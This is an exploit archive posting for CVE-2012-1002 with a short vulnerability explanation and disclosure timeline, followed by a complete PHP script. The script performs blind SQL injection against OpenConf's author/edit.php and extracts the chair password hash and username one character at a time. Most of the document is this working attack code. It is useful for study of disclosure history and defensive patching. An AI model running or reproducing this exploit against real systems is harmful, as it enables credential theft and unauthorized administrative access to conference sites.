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OpenConf 4.11 Blind SQL Injection

OpenConf 4.11 Blind SQL Injection
Posted May 2, 2012
Authored by EgiX

OpenConf versions 4.11 and below suffer from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2012-1002
SHA-256 | c5f3f19deddb42342d8deb8e48d175329bb1255f6a39dd164fe1fb4bb1d6da10

OpenConf 4.11 Blind SQL Injection

Change Mirror Download
<?php

/*
---------------------------------------------------------------------
OpenConf <= 4.11 (author/edit.php) Remote Blind SQL Injection Exploit
---------------------------------------------------------------------

author...............: Egidio Romano aka EgiX
mail.................: n0b0d13s[at]gmail[dot]com
software link........: http://www.openconf.com/
affected versions....: from 4.00 to 4.11

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerable code in /author/edit.php:

104. // get sub
105. $anr = ocsql_query("SELECT * FROM `" . OCC_TABLE_PAPER . "` WHERE `paperid`=" . safeSQLstr($_POST['pid'])) ...
106. if (mysql_num_rows($anr) != 1) {
107. err(oc_('Submission ID or password entered is incorrect'));
108. }
109. $_POST = array_merge($_POST, mysql_fetch_assoc($anr));

User input passed through $_POST['pid'] seems correctly sanitised by the safeSQLstr() function, but in the query
at line 105, single quotes aren't used before concatenate the user input into the query string. This can be
exploited to conduct a Blind SQL Injection attack. Successful exploitation of this vulnerability requires at
least a record into the 'paper' table, and 'Edit Submission' to be enabled.

[-] Disclosure timeline:

[27/01/2012] - Vulnerability discovered
[01/02/2012] - Issue reported to bugs(at)openconf.com
[02/02/2012] - Version 4.12 released: http://www.openconf.com/news/#20120202
[02/02/2012] - CVE number requested
[02/02/2012] - Assigned CVE-2012-1002
[02/05/2012] - Public disclosure

*/

if (!extension_loaded('curl')) die("cURL extension required\n");

error_reporting(E_ERROR);
set_time_limit(0);

function http_get($page)
{
global $ch, $argv;

curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
curl_setopt($ch, CURLOPT_GET, true);

return curl_exec($ch);
}

function http_post($page, $data)
{
global $ch, $argv;

curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

return curl_exec($ch);
}

function hex_enc($sql)
{
for ($i = 0, $n = strlen($sql); $i < $n; $i++)
$encoded .= dechex(ord($sql[$i]));
return "0x{$encoded}";
}

print "\n+-------------------------------------------------------------+";
print "\n| OpenConf <= 4.11 Remote Blind SQL Injection Exploit by EgiX |";
print "\n+-------------------------------------------------------------+\n";

if ($argc < 2)
{
print "\nUsage......: php $argv[0] <url>\n";
print "\nExample....: php $argv[0] http://127.0.0.1/";
print "\nExample....: php $argv[0] http://localhost/openconf/\n";
die();
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

if (!preg_match('/href="author\/edit.php"/', http_get('openconf.php'))) die("\n[-] Failed: submission edit disabled\n");

$index = 1;
$hash = '';
$chars = array_merge(range(48, 57), range(97, 102), array(0)); // 0-9 a-f

print "\n[-] Chair password hash...: ";

while (!strpos($hash,chr(0)))
{
for ($i = 0, $n = count($chars); $i <= $n; $i++)
{
if ($i == $n) die("\n[-] Exploit failed!\n");
$sql = urlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_pwd").") LIMIT 1#");
if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $hash .= chr($chars[$i]); print chr($chars[$i]); break; }
}
$index++;
}

$index = 1;
$user = '';
$chars = array_merge(array(0), range(97, 172), array(95), range(48, 57)); // Any "word" character

print "\n[-] Chair username........: ";

while (!strpos($user,chr(0)))
{
for ($i = 0, $n = count($chars); $i <= $n; $i++)
{
if ($i == $n) die("\n[-] Exploit failed!\n");
$sql = rawurlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_uname").") LIMIT 1#");
if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $user .= chr($chars[$i]); print chr($chars[$i]); break; }
}
$index++;
}
print "\n";
?>


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